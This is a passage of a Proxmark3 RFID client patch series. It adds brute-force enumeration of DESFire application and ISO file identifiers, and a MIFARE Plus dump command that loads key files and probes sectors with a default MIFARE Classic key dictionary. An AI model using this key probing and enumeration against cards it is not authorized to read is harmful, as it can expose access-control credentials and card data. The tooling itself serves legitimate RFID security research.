MFDES_BRUTEAID_PRESET_NUMBERS || + preset == MFDES_BRUTEAID_PRESET_LETTERS || + preset == MFDES_BRUTEAID_PRESET_DICTIONARY) { + PrintAndLogEx(INFO, "Bruteforcing with preset " _YELLOW_("%s") " candidates " _YELLOW_("%llu"), + preset_name, (unsigned long long)generator.total_count); + } else { + PrintAndLogEx(INFO, "Bruteforcing with preset " _YELLOW_("%s") " range " _YELLOW_("%06x") "-" _YELLOW_("%06x") " step " _YELLOW_("%u") " candidates " _YELLOW_("%llu"), + preset_name, idStart, idEnd, idIncrement, (unsigned long long)generator.total_count); + } + if (preset == MFDES_BRUTEAID_PRESET_FULL) { + PrintAndLogEx(INFO, "Enumerating through all AIDs manually, this will take a while!"); + } + if (preset == MFDES_BRUTEAID_PRESET_DICTIONARY) { + PrintAndLogEx(INFO, "Dictionary source: `aid_desfire` (direct + inverted byte order)"); + } + + uint32_t id = 0; + float progress = 0; + while (mfdesBruteAIDGeneratorNext(&generator, &id, &progress)) { if (kbd_enter_pressed()) { break; } - float progress = 100.0 * (float)(id - idStart) / ((float)(idEnd - idStart)); PrintAndLogEx(INPLACE, "Brute DESFire AID Progress " _YELLOW_("%0.1f") " %% current AID: %06X", progress, id); res = DesfireSelectAIDHexNoFieldOn(&dctx, id); @@ -2279,6 +2710,7 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { PrintAndLogEx(FAILED, "Card is not responding after %d reselect attempts. Aborting at AID " _YELLOW_("%06X"), MFDES_BRUTEAID_RESELECT_ATTEMPTS, id); + mfdesBruteAIDGeneratorFree(&generator); DropField(); return res; } @@ -2292,6 +2724,7 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, _GREEN_("Done!")); + mfdesBruteAIDGeneratorFree(&generator); DropField(); return PM3_SUCCESS; } From 22a307dd69d489e0ae51310c15f6368dc9434faf Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 6 Mar 2026 17:46:25 +0200 Subject: [PATCH 063/162] Implement 'hf mfdes bruteisofid' command --- CHANGELOG.md | 2 + client/src/cmdhfmfdes.c | 239 ++++++++++++++++++++++++++++++++ client/src/mifare/desfirecore.c | 26 ++++ client/src/pm3line_vocabulary.h | 2 + 4 files changed, 269 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7f0c4b935..c721610ed 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,8 +3,10 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax) - Added DESFire AID values related to LEAF (@kormax) - Added `dict`, `ascii`, `mad` presets for `hf mfdes bruteaid` (@kormax) +- Added tag loss detection & recovery into `hf mfdes bruteaid` (@kormax) - Added --credit option for `hf iclass legrec` command to perform a credit key recovery. This is experimental and unfinished as it only partially works.(@antiklesys) - Added hardening for all host binaries. Exact level of hardening depends on the OS (@doegox) - Added `hf aliro read` command (@kormax) diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index bbeb9bc0d..276e6b241 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -55,6 +55,8 @@ #define MFDES_BRUTEAID_RESELECT_WAIT_MS 200 #define MFDES_BRUTEAID_MAD_START 0xF0000FU #define MFDES_BRUTEAID_MAD_STEP 0x10U +#define MFDES_BRUTEFID_RESELECT_ATTEMPTS 3 +#define MFDES_BRUTEFID_RESELECT_WAIT_MS 500 #define status(x) ( ((uint16_t)(0x91 << 8)) + (uint16_t)x ) /* @@ -2199,6 +2201,93 @@ static int CmdHF14ADesSelectApp(const char *Cmd) { return res; } +static int CmdHF14ADesISOSelectISOFID(DesfireContext_t *dctx, uint16_t fileid, uint8_t *resp, size_t *resplen, bool fieldon) { + // ISO 7816 SELECT FILE command: CLA=00, INS=A4, P1=00, P2=00, Lc=2 + uint8_t data[2] = {0}; + Uint2byteToMemBe(data, fileid); + + return DesfireISOSelectEx(dctx, fieldon, ISSMFDFEF, data, sizeof(data), resp, resplen); +} + +static int CmdHF14ADesSelectISOFID(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf mfdes selectisofid", + "Select file via ISO Select command by 2-byte ISO file identifier.\n" + "Optionally preselect an application by AID or DF name before selecting the file.", + "hf mfdes selectisofid --isofid e104 -> select file 0xE104\n" + "hf mfdes selectisofid --aid 123456 --isofid 00ef -> select file 0x00EF in app 0x123456\n" + "hf mfdes selectisofid --dfname D2760000850100 --isofid 00ef --apdu -> select file 0x00EF after DF name selection and show APDU logs"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_lit0("v", "verbose", "Verbose output"), + arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (1-16 hex bytes, big endian)"), + arg_str0(NULL, "isofid", "", "File ISO ID (ISO EF ID) (2 hex bytes, big endian)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + + DesfireContext_t dctx = {0}; + int securechann = defaultSecureChannel; + uint32_t appid = 0x000000; + DesfireISOSelectWay selectway = ISWDFName; + int res = CmdDesGetSessionParameters(ctx, &dctx, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 4, + &securechann, DCMNone, &appid, &selectway); + if (res) { + CLIParserFree(ctx); + return res; + } + + uint32_t isoid = 0x0000; + bool isoidpresent = false; + if (CLIGetUint32Hex(ctx, 5, 0x0000, &isoid, &isoidpresent, 2, "File ISO ID must have 2 hex bytes")) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + if (!isoidpresent) { + CLIParserFree(ctx); + PrintAndLogEx(WARNING, "File ISO ID is required"); + return PM3_EINVARG; + } + + bool aidpresent = (arg_get_str(ctx, 3)->count > 0); + bool preselect = aidpresent || (dctx.selectedDFNameLen > 0); + SetAPDULogging(APDULogging); + CLIParserFree(ctx); + + uint8_t resp[250] = {0}; + size_t resplen = 0; + if (preselect) { + res = DesfireSelectAndAuthenticateW(&dctx, securechann, selectway, appid, false, 0, true, verbose); + if (res != PM3_SUCCESS) { + DropField(); + PrintAndLogEx(FAILED, "Application preselect " _RED_("failed")); + return res; + } + } + + res = CmdHF14ADesISOSelectISOFID(&dctx, isoid, resp, &resplen, !preselect); + if (res != PM3_SUCCESS) { + DropField(); + PrintAndLogEx(FAILED, "ISO Select file 0x%04x " _RED_("failed"), isoid); + return res; + } + + if (resplen > 0 && verbose) { + PrintAndLogEx(INFO, "File select response [%zu] %s", resplen, sprint_hex(resp, resplen)); + } + + PrintAndLogEx(SUCCESS, "File 0x%04x selected " _GREEN_("succesfully"), isoid); + DropField(); + return PM3_SUCCESS; +} + + typedef struct { uint32_t current; uint32_t step; @@ -2729,6 +2818,154 @@ static int CmdHF14ADesBruteApps(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14ADesBruteISOFIDs(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf mfdes bruteisofid", + "Recover ISO file IDs by bruteforce.\n" + "WARNING: This command takes a loooong time", + "hf mfdes bruteisofid --aid 123456 -> bruteforce ISO file IDs for application 123456\n" + "hf mfdes bruteisofid --start 0000 --end 0fff -> bruteforce specific file ISO ID range"); + + void *argtable[] = { + arg_param_begin, + arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_lit0("v", "verbose", "Verbose output"), + arg_str0(NULL, "aid", "", "Application ID (3 hex bytes, big endian)"), + arg_str0(NULL, "isoid", "", "Application ISO ID (ISO DF ID) (2 hex bytes, big endian)"), + arg_str0(NULL, "dfname", "", "Application ISO DF Name (5-16 hex bytes, big endian)"), + arg_str0(NULL, "start", "", "Starting File ISO ID (2 hex bytes, big endian)"), + arg_str0(NULL, "end", "", "Last File ISO ID (2 hex bytes, big endian)"), + arg_int0(NULL, "step", "", "Increment step when bruteforcing"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool APDULogging = arg_get_lit(ctx, 1); + bool verbose = arg_get_lit(ctx, 2); + + DesfireContext_t dctx = {0}; + int securechann = defaultSecureChannel; + uint32_t appid = 0x000000; + DesfireISOSelectWay selectway = ISW6bAID; + int res = CmdDesGetSessionParameters(ctx, &dctx, 0, 0, 0, 0, 0, 0, 0, 0, 3, 4, 5, + &securechann, DCMNone, &appid, &selectway); + if (res) { + CLIParserFree(ctx); + return res; + } + + uint32_t isoidStart = 0x0000; + if (CLIGetUint32Hex(ctx, 6, 0x0000, &isoidStart, NULL, 2, "File ISO ID start must have 2 hex bytes")) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + uint32_t isoidEnd = 0xFFFF; + if (CLIGetUint32Hex(ctx, 7, 0xFFFF, &isoidEnd, NULL, 2, "File ISO ID end must have 2 hex bytes")) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int stepArg = arg_get_int_def(ctx, 8, 1); + CLIParserFree(ctx); + + if (stepArg <= 0) { + PrintAndLogEx(ERR, "Increment step should be greater than zero"); + return PM3_EINVARG; + } + uint32_t step = (uint32_t)stepArg; + + if (isoidStart > isoidEnd) { + PrintAndLogEx(ERR, "Start should be lower than or equal to end. start: %04x end: %04x", isoidStart, isoidEnd); + return PM3_EINVARG; + } + + SetAPDULogging(APDULogging); + + res = DesfireSelectAndAuthenticateW(&dctx, securechann, selectway, appid, false, 0, true, verbose); + if (res != PM3_SUCCESS) { + DropField(); + PrintAndLogEx(FAILED, "Select or authentication %s " _RED_("failed") ". Result [%d] %s", DesfireWayIDStr(selectway, appid), res, DesfireAuthErrorToStr(res)); + return res; + } + + uint64_t totalCount = ((isoidEnd - isoidStart) / step) + 1; + uint64_t tested = 0; + uint64_t found = 0; + + PrintAndLogEx(INFO, "Bruteforcing file ISO IDs range " _YELLOW_("%04x") "-" _YELLOW_("%04x") " step " _YELLOW_("%u") " candidates " _YELLOW_("%llu"), + isoidStart, isoidEnd, step, (unsigned long long)totalCount); + + if (totalCount > 0x7fffffffULL) { + PrintAndLogEx(INFO, "Enumerating through all File IDs manually, this will take a while!"); + } + + for (uint32_t isofid = isoidStart;; isofid += step) { + if (kbd_enter_pressed()) { + break; + } + + tested++; + float progress = (totalCount > 0) ? ((float)tested / (float)totalCount) * 100.0f : 100.0f; + PrintAndLogEx(INPLACE, "Brute DESFire ISO File ID Progress " _YELLOW_("%0.1f") " %% current ID: %04X", progress, isofid); + + uint8_t resp[250] = {0}; + size_t resplen = 0; + uint8_t *resp_p = verbose ? resp : NULL; + size_t *resplen_p = verbose ? &resplen : NULL; + res = CmdHF14ADesISOSelectISOFID(&dctx, isofid, resp_p, resplen_p, false); + + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + for (int attempt = 1; attempt <= MFDES_BRUTEFID_RESELECT_ATTEMPTS; attempt++) { + printf("\33[2K\r"); // clear current inplace progress line before logging + PrintAndLogEx(WARNING, "No card response while checking ISO ID " _YELLOW_("%04X") ". Reselecting card (%d/%d)...", + isofid, attempt, MFDES_BRUTEFID_RESELECT_ATTEMPTS); + + msleep(MFDES_BRUTEFID_RESELECT_WAIT_MS); + + res = DesfireSelectAndAuthenticateW(&dctx, securechann, selectway, appid, false, 0, true, verbose); + if (res != PM3_SUCCESS) { + continue; + } + + res = CmdHF14ADesISOSelectISOFID(&dctx, isofid, resp_p, resplen_p, false); + if (res == PM3_SUCCESS || res == PM3_EAPDU_FAIL || + (res != PM3_ECARDEXCHANGE && res != PM3_ETIMEOUT && res != PM3_ERFTRANS)) { + break; + } + } + + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + PrintAndLogEx(FAILED, "Card is not responding after %d reselect attempts. Aborting at ISO ID " _YELLOW_("%04X"), + MFDES_BRUTEFID_RESELECT_ATTEMPTS, isofid); + DropField(); + return res; + } + } + + if (res == PM3_SUCCESS) { + found++; + printf("\33[2K\r"); // clear current line before printing + PrintAndLogEx(SUCCESS, "Found new ISO file ID " _GREEN_("0x%04X"), isofid); + if (verbose && resplen > 0) { + PrintAndLogEx(INFO, "Response [%zu] " _CYAN_("%s"), resplen, sprint_hex(resp, resplen)); + } + } else { + // Non-success status means no file with this identifier + } + + if (isoidEnd - isofid < step) { + break; + } + } + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(SUCCESS, "Done! Found " _GREEN_("%llu") " matching file ISO ID candidate(s)", + (unsigned long long)found); + DropField(); + return PM3_SUCCESS; +} + // MIAFRE DESFire Authentication // keys: // NR DESC KEYLENGTH @@ -6396,12 +6633,14 @@ static command_t CommandTable[] = { {"createapp", CmdHF14ADesCreateApp, IfPm3Iso14443a, "Create Application"}, {"deleteapp", CmdHF14ADesDeleteApp, IfPm3Iso14443a, "Delete Application"}, {"selectapp", CmdHF14ADesSelectApp, IfPm3Iso14443a, "Select Application ID"}, + {"selectisofid", CmdHF14ADesSelectISOFID, IfPm3Iso14443a, "Select file by ISO ID"}, {"-----------", CmdHelp, IfPm3Iso14443a, "------------------------ " _CYAN_("Keys") " -----------------------"}, {"changekey", CmdHF14ADesChangeKey, IfPm3Iso14443a, "Change Key"}, {"chkeysettings", CmdHF14ADesChKeySettings, IfPm3Iso14443a, "Change Key Settings"}, {"getkeysettings", CmdHF14ADesGetKeySettings, IfPm3Iso14443a, "Get Key Settings"}, {"getkeyversions", CmdHF14ADesGetKeyVersions, IfPm3Iso14443a, "Get Key Versions"}, {"-----------", CmdHelp, IfPm3Iso14443a, "----------------------- " _CYAN_("Files") " -----------------------"}, + {"bruteisofid", CmdHF14ADesBruteISOFIDs, IfPm3Iso14443a, "Recover file ISO IDs by bruteforce"}, {"getfileids", CmdHF14ADesGetFileIDs, IfPm3Iso14443a, "Get File IDs list"}, {"getfileisoids", CmdHF14ADesGetFileISOIDs, IfPm3Iso14443a, "Get File ISO IDs list"}, {"lsfiles", CmdHF14ADesLsFiles, IfPm3Iso14443a, "Show all files list"}, diff --git a/client/src/mifare/desfirecore.c b/client/src/mifare/desfirecore.c index 71fb8391b..c8993257e 100644 --- a/client/src/mifare/desfirecore.c +++ b/client/src/mifare/desfirecore.c @@ -1146,6 +1146,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s res = DesfireISOSelect(dctx, ISSDFName, dctx->selectedDFName, dctx->selectedDFNameLen, resp, &resplen); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Desfire DF name select " _RED_("error")); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + return res; + } return 200; } @@ -1164,6 +1167,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s res = DesfireSelectAIDHex(dctx, id, false, 0); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Desfire select " _RED_("error")); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + return res; + } return 200; } @@ -1177,6 +1183,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s res = DesfireSelectEx(dctx, false, way, id, NULL); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Desfire %s select " _RED_("error"), DesfireSelectWayToStr(way)); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + return res; + } return 202; } if (verbose) { @@ -1189,6 +1198,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s res = DesfireSelectEx(dctx, false, way, id, NULL); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Desfire %s select " _RED_("error"), DesfireSelectWayToStr(way)); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + return res; + } return 202; } @@ -1205,6 +1217,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s res = DesfireSelectAIDHex(dctx, id, false, 0); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Desfire select " _RED_("error")); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + return res; + } return 200; } @@ -1218,6 +1233,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s res = DesfireSelectEx(dctx, true, way, id, NULL); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Desfire %s select " _RED_("error"), DesfireSelectWayToStr(way)); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + return res; + } return 202; } if (verbose) { @@ -1229,6 +1247,9 @@ int DesfireSelectAndAuthenticateW(DesfireContext_t *dctx, DesfireSecureChannel s res = DesfireSelectEx(dctx, false, ISWIsoID, isofileid, NULL); if (res != PM3_SUCCESS) { PrintAndLogEx(ERR, "Desfire iso file select " _RED_("error")); + if (res == PM3_ECARDEXCHANGE || res == PM3_ETIMEOUT || res == PM3_ERFTRANS) { + return res; + } return 203; } @@ -3073,6 +3094,11 @@ int DesfireISOSelectEx(DesfireContext_t *dctx, bool fieldon, DesfireISOSelectCon size_t xresplen = 0; uint16_t sw = 0; int res = DesfireExchangeISO(fieldon, dctx, (sAPDU_t) {0x00, ISO7816_SELECT_FILE, cntr, ((resp == NULL) ? 0x0C : 0x00), datalen, data}, APDU_INCLUDE_LE_00, xresp, &xresplen, &sw); + // Distinguish no-response transport errors from valid APDU status errors + // (e.g. 6A82 for "file not found"), which also return PM3_EAPDU_FAIL. + if (res == PM3_EAPDU_FAIL && sw == 0 && xresplen == 0) { + return PM3_ECARDEXCHANGE; + } if (res == PM3_SUCCESS && sw != ISO7816_OK) return PM3_ESOFT; diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index e39cff120..211b3efc8 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -472,9 +472,11 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes getaids" }, { 0, "hf mfdes getappnames" }, { 0, "hf mfdes bruteaid" }, + { 0, "hf mfdes bruteisofid" }, { 0, "hf mfdes createapp" }, { 0, "hf mfdes deleteapp" }, { 0, "hf mfdes selectapp" }, + { 0, "hf mfdes selectisofid" }, { 0, "hf mfdes changekey" }, { 0, "hf mfdes chkeysettings" }, { 0, "hf mfdes getkeysettings" }, From fded3e9cefb1dfd7d6c2433dff76ae536c53cbdb Mon Sep 17 00:00:00 2001 From: Tomas Nilsson Date: Sat, 7 Mar 2026 15:23:48 +0100 Subject: [PATCH 064/162] Implement 'hf mfp dump' command with SL1/SL3 mixed mode support --- client/src/cmdhfmfp.c | 555 ++++++++++++++++++++++++++++++++++++++---- 1 file changed, 511 insertions(+), 44 deletions(-) diff --git a/client/src/cmdhfmfp.c b/client/src/cmdhfmfp.c index b72279e41..a2a21b3a6 100644 --- a/client/src/cmdhfmfp.c +++ b/client/src/cmdhfmfp.c @@ -35,8 +35,10 @@ #include "protocols.h" #include "crypto/libpcrypto.h" #include "cmdhfmf.h" // printblock, header +#include "mifare/mifarehost.h" // mf_read_sector (SL1 CRYPTO1) #include "cmdtrace.h" #include "crypto/originality.h" +#include "jansson.h" static const uint8_t mfp_default_key[16] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; static uint16_t mfp_card_adresses[] = {0x9000, 0x9001, 0x9002, 0x9003, 0x9004, 0x9006, 0x9007, 0xA000, 0xA001, 0xA080, 0xA081, 0xC000, 0xC001}; @@ -1889,20 +1891,165 @@ static int CmdHFMFPChk(const char *Cmd) { return PM3_SUCCESS; } +static int mfp_load_keys_from_json(const char *filename, uint8_t foundKeys[2][64][AES_KEY_LEN + 1]) { + + json_t *root = NULL; + int res = loadFileJSONroot(filename, (void **)&root, true); + if (res != PM3_SUCCESS) { + return res; + } + + // check file type + json_t *jtype = json_object_get(root, "FileType"); + if (!jtype || !json_is_string(jtype) || strcmp(json_string_value(jtype), "mfpkeys") != 0) { + PrintAndLogEx(ERR, "Key file is not a MIFARE Plus key file"); + json_decref(root); + return PM3_EFILE; + } + + char path[64]; + uint8_t tmpkey[AES_KEY_LEN]; + size_t tmplen = 0; + + for (int i = 0; i < 64; i++) { + snprintf(path, sizeof(path), "$.SectorKeys.%d.KeyA", i); + tmplen = 0; + if (JsonLoadBufAsHex(root, path, tmpkey, AES_KEY_LEN, &tmplen) == 0 && tmplen == AES_KEY_LEN) { + foundKeys[0][i][0] = 1; + memcpy(&foundKeys[0][i][1], tmpkey, AES_KEY_LEN); + } + + snprintf(path, sizeof(path), "$.SectorKeys.%d.KeyB", i); + tmplen = 0; + if (JsonLoadBufAsHex(root, path, tmpkey, AES_KEY_LEN, &tmplen) == 0 && tmplen == AES_KEY_LEN) { + foundKeys[1][i][0] = 1; + memcpy(&foundKeys[1][i][1], tmpkey, AES_KEY_LEN); + } + } + + json_decref(root); + return PM3_SUCCESS; +} + +// Security level for each sector +#define MFP_SL_UNKNOWN 0 +#define MFP_SL_1 1 +#define MFP_SL_3 3 + +// Load MFC (CRYPTO1) keys from a binary key file (first half keyA, second half keyB) +static int mfp_load_mfc_keys_from_bin(const char *filename, uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1], uint8_t numSectors) { + + uint8_t *keyA = NULL; + uint8_t *keyB = NULL; + size_t alen = 0, blen = 0; + + int res = loadFileBinaryKey(filename, "", (void **)&keyA, (void **)&keyB, &alen, &blen, true); + if (res != PM3_SUCCESS) { + return res; + } + + for (uint8_t s = 0; s < numSectors && s * MIFARE_KEY_SIZE < alen; s++) { + mfcFoundKeys[0][s][0] = 1; + memcpy(&mfcFoundKeys[0][s][1], keyA + s * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE); + } + + for (uint8_t s = 0; s < numSectors && s * MIFARE_KEY_SIZE < blen; s++) { + mfcFoundKeys[1][s][0] = 1; + memcpy(&mfcFoundKeys[1][s][1], keyB + s * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE); + } + + free(keyA); + free(keyB); + return PM3_SUCCESS; +} + +// Try to read a sector using SL1 (CRYPTO1) with the given 6-byte key +static int mfp_read_sector_sl1(uint8_t sectorNo, uint8_t keyType, const uint8_t *key6, uint8_t *dataout, bool verbose) { + int res = mf_read_sector(sectorNo, keyType, key6, dataout); + if (verbose && res != PM3_SUCCESS) { + PrintAndLogEx(DEBUG, "SL1 read sector %u keyType %u failed: %d", sectorNo, keyType, res); + } + return res; +} + +// Build a list of default MFC 6-byte keys for SL1 probing +static int mfp_load_mfc_default_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt) { + size_t numDefaults = ARRAYLEN(g_mifare_default_keys); + *pkeyBlock = calloc(numDefaults, MIFARE_KEY_SIZE); + if (*pkeyBlock == NULL) { + return PM3_EMALLOC; + } + + for (size_t i = 0; i < numDefaults; i++) { + num_to_bytes(g_mifare_default_keys[i], MIFARE_KEY_SIZE, *pkeyBlock + i * MIFARE_KEY_SIZE); + } + *pkeycnt = numDefaults; + return PM3_SUCCESS; +} + +// Probe MFC (CRYPTO1) keys against sectors that still need keys +static int mfp_sl1_key_check(uint8_t numSectors, uint8_t *keys, uint32_t keycnt, + uint8_t mfcFoundKeys[2][64][MIFARE_KEY_SIZE + 1], bool verbose) { + + for (uint8_t s = 0; s < numSectors; s++) { + for (uint8_t kt = 0; kt < 2; kt++) { + if (mfcFoundKeys[kt][s][0]) { + continue; + } + + if (kbd_enter_pressed()) { + return PM3_EOPABORTED; + } + + uint8_t blockNo = mfFirstBlockOfSector(s); + + for (uint32_t i = 0; i < keycnt; i++) { + uint64_t found_key = 0; + int res = mf_check_keys(blockNo, kt, true, 1, keys + i * MIFARE_KEY_SIZE, &found_key); + if (res == PM3_SUCCESS) { + mfcFoundKeys[kt][s][0] = 1; + num_to_bytes(found_key, MIFARE_KEY_SIZE, &mfcFoundKeys[kt][s][1]); + + if (verbose) { + PrintAndLogEx(INFO, "SL1 key found: sector %u key%s [ " _GREEN_("%s") " ]", + s, (kt == 0) ? "A" : "B", + sprint_hex_inrow(&mfcFoundKeys[kt][s][1], MIFARE_KEY_SIZE)); + } else { + PrintAndLogEx(NORMAL, "+" NOLF); + } + break; + } + } + } + } + return PM3_SUCCESS; +} + static int CmdHFMFPDump(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf mfp dump", "Dump MIFARE Plus tag to file (bin/json)\n" + "Supports both SL3 (AES) and SL1 (CRYPTO1) sectors.\n" + "Automatically detects sector security level.\n" "If no given, UID will be used as filename", "hf mfp dump\n" - "hf mfp dump --keys hf-mf-066C8B78-key.bin --> MIFARE Plus with keys from specified file\n"); + "hf mfp dump --keys hf-mfp-01020304-key.json\n" + "hf mfp dump -k ffffffffffffffffffffffffffffffff\n" + "hf mfp dump --dict mfp_default_keys\n" + "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-keys hf-mf-01020304-key.bin\n" + "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-dict mfc_default_keys\n"); void *argtable[] = { arg_param_begin, - arg_str0("f", "file", "", "Specify a filename for dump file"), - arg_str0("k", "keys", "", "Specify a filename for keys file"), -// arg_lit0(NULL, "ns", "no save to file"), -// arg_lit0("v", "verbose", "Verbose output"), + arg_str0("f", "file", "", "Specify a filename for dump file"), + arg_str0(NULL, "keys", "", "AES key file from `hf mfp chk --dump` (JSON)"), + arg_str0("k", "key", "", "AES key for all sectors (16 hex bytes)"), + arg_str0(NULL, "dict", "", "AES dictionary file"), + arg_str0(NULL, "mfc-keys", "", "MFC key file for SL1 sectors (.bin from `hf mf chk`)"), + arg_str0(NULL, "mfc-dict", "", "MFC dictionary file for SL1 sectors"), + arg_lit0(NULL, "ns", "No save to file"), + arg_lit0("v", "verbose", "Verbose output"), + arg_lit0(NULL, "no-default", "Skip default key probing for unknown sectors"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -1915,53 +2062,373 @@ static int CmdHFMFPDump(const char *Cmd) { char key_fn[FILE_PATH_SIZE] = {0}; CLIParamStrToBuf(arg_get_str(ctx, 2), (uint8_t *)key_fn, FILE_PATH_SIZE, &keyfnlen); -// bool nosave = arg_get_lit(ctx, 3); -// bool verbose = arg_get_lit(ctx, 4); + int userkeylen = 0; + uint8_t userkey[AES_KEY_LEN] = {0}; + CLIGetHexWithReturn(ctx, 3, userkey, &userkeylen); + + int dictfnlen = 0; + char dict_fn[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 4), (uint8_t *)dict_fn, FILE_PATH_SIZE, &dictfnlen); + + int mfckeyfnlen = 0; + char mfc_key_fn[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 5), (uint8_t *)mfc_key_fn, FILE_PATH_SIZE, &mfckeyfnlen); + + int mfcdictfnlen = 0; + char mfc_dict_fn[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)mfc_dict_fn, FILE_PATH_SIZE, &mfcdictfnlen); + + bool nosave = arg_get_lit(ctx, 7); + bool verbose = arg_get_lit(ctx, 8); + bool no_default = arg_get_lit(ctx, 9); + CLIParserFree(ctx); - PrintAndLogEx(INFO, " To be implemented, feel free to contribute!"); - return PM3_ENOTIMPL; + if (userkeylen > 0 && userkeylen != AES_KEY_LEN) { + PrintAndLogEx(ERR, "AES key must be 16 bytes. Got %d", userkeylen); + return PM3_EINVARG; + } - /* - mfpSetVerboseMode(verbose); + mfpSetVerboseMode(verbose); - // read card - uint8_t *mem = calloc(MIFARE_4K_MAXBLOCK * MFBLOCK_SIZE, sizeof(uint8_t)); - if (mem == NULL) { - PrintAndLogEx(WARNING, "Failed to allocate memory"); + // read card info + iso14a_card_select_t card; + int nxptype = MTNONE; + int res = mfp_read_card_id(&card, &nxptype); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to select card"); + return res; + } + + // determine number of sectors from ATQA + uint16_t ATQA = card.atqa[0] + (card.atqa[1] << 8); + uint8_t numSectors; + if (ATQA & 0x0002) { + numSectors = MIFARE_4K_MAXSECTOR; // 40 sectors (4K) + } else { + numSectors = MIFARE_2K_MAXSECTOR; // 32 sectors (2K) + } + + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); + PrintAndLogEx(INFO, "UID......... " _GREEN_("%s"), sprint_hex(card.uid, card.uidlen)); + PrintAndLogEx(INFO, "ATQA........ " _GREEN_("%02X %02X"), card.atqa[1], card.atqa[0]); + PrintAndLogEx(INFO, "SAK......... " _GREEN_("%02X"), card.sak); + PrintAndLogEx(INFO, "Sectors..... " _GREEN_("%u") " (%s)", numSectors, (numSectors == MIFARE_4K_MAXSECTOR) ? "4K" : "2K"); + PrintAndLogEx(NORMAL, ""); + + // ======================================== + // SL3 (AES) Key loading + // ======================================== + uint8_t aesFoundKeys[2][64][AES_KEY_LEN + 1]; + memset(aesFoundKeys, 0, sizeof(aesFoundKeys)); + + // 1a. Load AES keys from JSON key file (from hf mfp chk --dump) + if (keyfnlen > 0) { + res = mfp_load_keys_from_json(key_fn, aesFoundKeys); + if (res != PM3_SUCCESS) { + 